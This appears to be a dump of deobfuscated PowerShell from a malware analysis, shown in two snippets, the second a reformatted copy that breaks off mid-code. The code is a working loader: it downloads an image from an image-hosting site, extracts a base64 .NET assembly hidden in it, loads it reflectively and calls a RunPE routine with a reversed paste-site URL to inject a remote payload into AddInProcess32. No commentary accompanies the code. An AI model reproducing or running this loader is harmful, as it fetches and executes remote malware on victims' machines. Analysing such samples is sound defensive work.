# powershell snippet 0

"$link = 'https://uploaddeimagens.com.br/images/004/807/053/original/new_image.jpg?1719846235'; $webClient = New-Object System.Net.WebClient; try { $downloadedData = $webClient.DownloadData($link) } catch { Write-Host 'Failed To download data from $link' -ForegroundColor Red; exit }; if ($downloadedData -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($downloadedData); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('RunPE.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.1etsap/mv1d1u2b/war/ved.edocetsap//:sptth' , 'desativado' , 'desativado' , 'desativado','AddInProcess32','')) } }"|invoke-expression

# powershell snippet 1

$link = "https://uploaddeimagens.com.br/images/004/807/053/original/new_image.jpg?1719846235"

$webclient = new-object system.net.webclient

try {

$downloadeddata = $webclient.downloaddata("https://uploaddeimagens.com.br/images/004/807/053/original/new_image.jpg?1719846235")

} catch {

write-host "Failed To download data from $link" -foregroundcolor red

exit

}

if ($downloadeddata -ne $null) {

$imagetext = ([system.text.encoding]::ascii).getstring($downloadeddata)

$startflag = "<<BASE64_START>>"

$endflag = "<<BASE64_END>>"

$startindex = $imagetext.indexof("<<BASE64_START>>")

$endindex = $imagetext.indexof("<<BASE64_END>>")

if ($startindex -ge 0 -and $endindex -gt $startindex) {